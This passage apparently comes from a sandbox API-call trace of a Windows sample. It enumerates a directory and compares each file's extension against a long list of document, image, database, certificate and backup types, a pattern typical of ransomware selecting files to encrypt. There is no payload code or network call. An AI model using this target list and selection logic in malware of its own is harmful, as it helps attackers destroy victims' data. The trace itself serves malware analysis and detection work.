4 [0082.237] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0082.237] lstrlenW (lpString=".pct") returned 4 [0082.237] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0082.237] lstrlenW (lpString=".pcx") returned 4 [0082.237] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0082.237] lstrlenW (lpString=".pdd") returned 4 [0082.237] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0082.237] lstrlenW (lpString=".pdf") returned 4 [0082.237] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0082.237] lstrlenW (lpString=".pdp") returned 4 [0082.237] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0082.237] lstrlenW (lpString=".pef") returned 4 [0082.238] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0082.238] lstrlenW (lpString=".pem") returned 4 [0082.238] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0082.238] lstrlenW (lpString=".pff") returned 4 [0082.238] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0082.238] lstrlenW (lpString=".pfm") returned 4 [0082.238] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0082.238] lstrlenW (lpString=".pfx") returned 4 [0082.238] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0082.238] lstrlenW (lpString=".pgm") returned 4 [0082.238] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0082.238] lstrlenW (lpString=".php") returned 4 [0082.238] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0082.238] lstrlenW (lpString=".php3") returned 5 [0082.238] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0082.238] lstrlenW (lpString=".php4") returned 5 [0082.238] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0082.238] lstrlenW (lpString=".php5") returned 5 [0082.238] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0082.238] lstrlenW (lpString=".phtml") returned 6 [0082.238] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0082.238] lstrlenW (lpString=".pict") returned 5 [0082.238] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0082.238] lstrlenW (lpString=".pl") returned 3 [0082.238] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0082.238] lstrlenW (lpString=".pls") returned 4 [0082.239] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0082.239] lstrlenW (lpString=".pm") returned 3 [0082.239] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0082.239] lstrlenW (lpString=".png") returned 4 [0082.239] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0082.239] lstrlenW (lpString=".pnm") returned 4 [0082.239] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0082.239] lstrlenW (lpString=".pot") returned 4 [0082.239] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0082.239] lstrlenW (lpString=".potm") returned 5 [0082.239] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0082.239] lstrlenW (lpString=".potx") returned 5 [0082.239] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0082.239] lstrlenW (lpString=".ppa") returned 4 [0082.239] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0082.239] lstrlenW (lpString=".ppam") returned 5 [0082.239] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0082.239] lstrlenW (lpString=".ppm") returned 4 [0082.239] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0082.239] lstrlenW (lpString=".pps") returned 4 [0082.239] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0082.239] lstrlenW (lpString=".ppsm") returned 5 [0082.239] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0082.239] lstrlenW (lpString=".ppt") returned 4 [0082.239] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0082.239] lstrlenW (lpString=".pptm") returned 5 [0082.239] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0082.240] lstrlenW (lpString=".pptx") returned 5 [0082.240] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0082.240] lstrlenW (lpString=".prn") returned 4 [0082.240] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0082.240] lstrlenW (lpString=".ps") returned 3 [0082.240] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0082.240] lstrlenW (lpString=".psb") returned 4 [0082.240] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0082.240] lstrlenW (lpString=".psd") returned 4 [0082.240] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0082.240] lstrlenW (lpString=".pst") returned 4 [0082.240] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0082.240] lstrlenW (lpString=".ptx") returned 4 [0082.240] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0082.240] lstrlenW (lpString=".pub") returned 4 [0082.240] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0082.240] lstrlenW (lpString=".pwm") returned 4 [0082.240] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0082.240] lstrlenW (lpString=".pxr") returned 4 [0082.240] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0082.240] lstrlenW (lpString=".py") returned 3 [0082.240] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0082.240] lstrlenW (lpString=".qt") returned 3 [0082.240] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0082.240] lstrlenW (lpString=".r3d") returned 4 [0082.240] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0082.240] lstrlenW (lpString=".raf") returned 4 [0082.240] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0082.240] lstrlenW (lpString=".rar") returned 4 [0082.241] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0082.241] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0082.241] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0082.241] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0082.241] FindClose (in: hFindFile=0x4260310 | out: hFindFile=0x4260310) returned 1 [0082.241] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0082.241] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0082.241] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0082.241] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035") returned 26 [0082.241] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42602d0 [0082.242] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.242] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0082.242] lstrlenW (lpString="eula.rtf") returned 8 [0082.242] lstrlenW (lpString=".1cd") returned 4 [0082.242] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0082.242] lstrlenW (lpString=".3ds") returned 4 [0082.242] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0082.242] lstrlenW (lpString=".3fr") returned 4 [0082.242] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0082.242] lstrlenW (lpString=".3g2") returned 4 [0082.242] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0082.242] lstrlenW (lpString=".3gp") returned 4 [0082.242] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0082.242] lstrlenW (lpString=".7z") returned 3 [0082.242] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0082.242] lstrlenW (lpString=".accda") returned 6 [0082.242] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0082.242] lstrlenW (lpString=".accdb") returned 6 [0082.242] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0082.242] lstrlenW (lpString=".accdc") returned 6 [0082.242] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0082.242] lstrlenW (lpString=".accde") returned 6 [0082.242] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0082.242] lstrlenW (lpString=".accdt") returned 6 [0082.242] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0082.242] lstrlenW (lpString=".accdw") returned 6 [0082.242] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0082.243] lstrlenW (lpString=".adb") returned 4 [0082.243] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0082.243] lstrlenW (lpString=".adp") returned 4 [0082.243] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0082.243] lstrlenW (lpString=".ai") returned 3 [0082.243] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0082.243] lstrlenW (lpString=".ai3") returned 4 [0082.243] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0082.243] lstrlenW (lpString=".ai4") returned 4 [0082.243] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0082.243] lstrlenW (lpString=".ai5") returned 4 [0082.243] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0082.243] lstrlenW (lpString=".ai6") returned 4 [0082.243] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0082.243] lstrlenW (lpString=".ai7") returned 4 [0082.243] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0082.243] lstrlenW (lpString=".ai8") returned 4 [0082.243] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0082.243] lstrlenW (lpString=".anim") returned 5 [0082.243] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0082.243] lstrlenW (lpString=".arw") returned 4 [0082.243] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0082.243] lstrlenW (lpString=".as") returned 3 [0082.243] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0082.243] lstrlenW (lpString=".asa") returned 4 [0082.243] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0082.243] lstrlenW (lpString=".asc") returned 4 [0082.243] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0082.243] lstrlenW (lpString=".ascx") returned 5 [0082.243] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0082.243] lstrlenW (lpString=".asm") returned 4 [0082.243] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0082.243] lstrlenW (lpString=".asmx") returned 5 [0082.243] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0082.244] lstrlenW (lpString=".asp") returned 4 [0082.244] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0082.244] lstrlenW (lpString=".aspx") returned 5 [0082.244] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0082.244] lstrlenW (lpString=".asr") returned 4 [0082.244] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0082.244] lstrlenW (lpString=".asx") returned 4 [0082.244] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0082.244] lstrlenW (lpString=".avi") returned 4 [0082.244] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0082.244] lstrlenW (lpString=".avs") returned 4 [0082.244] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0082.244] lstrlenW (lpString=".backup") returned 7 [0082.244] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0082.244] lstrlenW (lpString=".bak") returned 4 [0082.244] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0082.244] lstrlenW (lpString=".bay") returned 4 [0082.244] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0082.244] lstrlenW (lpString=".bd") returned 3 [0082.244] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0082.244] lstrlenW (lpString=".bin") returned 4 [0082.244] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0082.244] lstrlenW (lpString=".bmp") returned 4 [0082.244] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0082.244] lstrlenW (lpString=".bz2") returned 4 [0082.244] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0082.244] lstrlenW (lpString=".c") returned 2 [0082.244] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0082.244] lstrlenW (lpString=".cdr") returned 4 [0082.245] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0082.245] lstrlenW (lpString=".cer") returned 4 [0082.245] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0082.245] lstrlenW (lpString=".cf") returned 3 [0082.245] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0082.245] lstrlenW (lpString=".cfc") returned 4 [0082.245] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0082.245] lstrlenW (lpString=".cfm") returned 4 [0082.245] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0082.245] lstrlenW (lpString=".cfml") returned 5 [0082.245] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0082.245] lstrlenW (lpString=".cfu") returned 4 [0082.245] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0082.245] lstrlenW (lpString=".chm") returned 4 [0082.245] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0082.245] lstrlenW (lpString=".cin") returned 4 [0082.245] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0082.245] lstrlenW (lpString=".class") returned 6 [0082.245] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0082.245] lstrlenW (lpString=".clx") returned 4 [0082.245] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0082.245] lstrlenW (lpString=".config") returned 7 [0082.245] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0082.245] lstrlenW (lpString=".cpp") returned 4 [0082.245] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0082.245] lstrlenW (lpString=".cr2") returned 4 [0082.245] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0082.246] lstrlenW (lpString=".crt") returned 4 [0082.246] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0082.246] lstrlenW (lpString=".crw") returned 4 [0082.246] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0082.246] lstrlenW (lpString=".cs") returned 3 [0082.246] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0082.246] lstrlenW (lpString=".css") returned 4 [0082.246] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0082.246] lstrlenW (lpString=".csv") returned 4 [0082.246] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0082.246] lstrlenW (lpString=".cub") returned 4 [0082.246] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0082.246] lstrlenW (lpString=".dae") returned 4 [0082.246] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0082.246] lstrlenW (lpString=".dat") returned 4 [0082.246] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0082.246] lstrlenW (lpString=".db") returned 3 [0082.246] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0082.246] lstrlenW (lpString=".dbf") returned 4 [0082.246] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0082.246] lstrlenW (lpString=".dbx") returned 4 [0082.246] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0082.246] lstrlenW (lpString=".dc3") returned 4 [0082.246] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0082.246] lstrlenW (lpString=".dcm") returned 4 [0082.246] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0082.247] lstrlenW (lpString=".dcr") returned 4 [0082.247] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0082.247] lstrlenW (lpString=".der") returned 4 [0082.247] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0082.247] lstrlenW (lpString=".dib") returned 4 [0082.247] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0082.247] lstrlenW (lpString=".dic") returned 4 [0082.247] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0082.247] lstrlenW (lpString=".dif") returned 4 [0082.247] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0082.247] lstrlenW (lpString=".divx") returned 5 [0082.247] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0082.247] lstrlenW (lpString=".djvu") returned 5 [0082.247] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0082.247] lstrlenW (lpString=".dng") returned 4 [0082.247] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0082.247] lstrlenW (lpString=".doc") returned 4 [0083.745] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0083.745] lstrlenW (lpString=".docm") returned 5 [0083.745] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0083.745] lstrlenW (lpString=".docx") returned 5 [0083.745] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0083.745] lstrlenW (lpString=".dot") returned 4 [0083.745] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0083.745] lstrlenW (lpString=".dotm") returned 5 [0083.745] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0083.745] lstrlenW (lpString=".dotx") returned 5 [0083.745] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0083.745] lstrlenW (lpString=".dpx") returned 4 [0083.745] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0083.745] lstrlenW (lpString=".dqy") returned 4 [0083.745] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0083.745] lstrlenW (lpString=".dsn") returned 4 [0083.746] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0083.746] lstrlenW (lpString=".dt") returned 3 [0083.746] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0083.746] lstrlenW (lpString=".dtd") returned 4 [0083.746] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0083.746] lstrlenW (lpString=".dwg") returned 4 [0083.746] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0083.746] lstrlenW (lpString=".dwt") returned 4 [0083.746] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0083.746] lstrlenW (lpString=".dx") returned 3 [0083.746] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0083.746] lstrlenW (lpString=".dxf") returned 4 [0083.746] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0083.746] lstrlenW (lpString=".edml") returned 5 [0083.746] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0083.746] lstrlenW (lpString=".efd") returned 4 [0083.747] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0083.747] lstrlenW (lpString=".elf") returned 4 [0083.747] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0083.747] lstrlenW (lpString=".emf") returned 4 [0083.747] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0083.747] lstrlenW (lpString=".emz") returned 4 [0083.747] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0083.747] lstrlenW (lpString=".epf") returned 4 [0083.747] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0083.747] lstrlenW (lpString=".eps") returned 4 [0083.748] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0083.748] lstrlenW (lpString=".epsf") returned 5 [0083.748] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0083.748] lstrlenW (lpString=".epsp") returned 5 [0083.748] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0083.748] lstrlenW (lpString=".erf") returned 4 [0083.748] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0083.748] lstrlenW (lpString=".exr") returned 4 [0083.748] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0083.748] lstrlenW (lpString=".f4v") returned 4 [0083.748] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0083.748] lstrlenW (lpString=".fido") returned 5 [0083.748] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0083.748] lstrlenW (lpString=".flm") returned 4 [0083.748] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0083.748] lstrlenW (lpString=".flv") returned 4 [0083.749] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0083.749] lstrlenW (lpString=".frm") returned 4 [0083.750] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0083.750] lstrlenW (lpString=".fxg") returned 4 [0083.750] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0083.750] lstrlenW (lpString=".geo") returned 4 [0083.750] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0083.750] lstrlenW (lpString=".gif") returned 4 [0083.750] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0083.750] lstrlenW (lpString=".grs") returned 4 [0083.750] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0083.750] lstrlenW (lpString=".gz") returned 3 [0083.750] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0083.750] lstrlenW (lpString=".h") returned 2 [0083.750] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0083.750] lstrlenW (lpString=".hdr") returned 4 [0083.750] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0083.750] lstrlenW (lpString=".hpp") returned 4 [0083.750] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0083.750] lstrlenW (lpString=".hta") returned 4 [0083.750] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0083.750] lstrlenW (lpString=".htc") returned 4 [0083.750] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0083.750] lstrlenW (lpString=".htm") returned 4 [0083.750] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0083.750] lstrlenW (lpString=".html") returned 5 [0083.750] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0083.751] lstrlenW (lpString=".icb") returned 4 [0083.751] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0083.751] lstrlenW (lpString=".ics") returned 4 [0083.751] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0083.751] lstrlenW (lpString=".iff") returned 4 [0083.751] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0083.751] lstrlenW (lpString=".inc") returned 4 [0083.751] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0083.751] lstrlenW (lpString=".indd") returned 5 [0083.751] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0083.751] lstrlenW (lpString=".ini") returned 4 [0083.751] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0083.751] lstrlenW (lpString=".iqy") returned 4 [0083.751] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0083.751] lstrlenW (lpString=".j2c") returned 4 [0083.751] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0083.751] lstrlenW (lpString=".j2k") returned 4 [0083.751] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0083.751] lstrlenW (lpString=".java") returned 5 [0083.751] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0083.752] lstrlenW (lpString=".jp2") returned 4 [0083.752] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0083.752] lstrlenW (lpString=".jpc") returned 4 [0083.753] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0083.753] lstrlenW (lpString=".jpe") returned 4 [0083.753] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0083.753] lstrlenW (lpString=".jpeg") returned 5 [0083.753] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0083.753] lstrlenW (lpString=".jpf") returned 4 [0083.753] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0083.753] lstrlenW (lpString=".jpg") returned 4 [0083.753] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0083.753] lstrlenW (lpString=".jpx") returned 4 [0083.753] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0083.753] lstrlenW (lpString=".js") returned 3 [0083.753] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0083.753] lstrlenW (lpString=".jsf") returned 4 [0083.753] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0083.753] lstrlenW (lpString=".json") returned 5 [0083.753] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0083.753] lstrlenW (lpString=".jsp") returned 4 [0083.753] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0083.753] lstrlenW 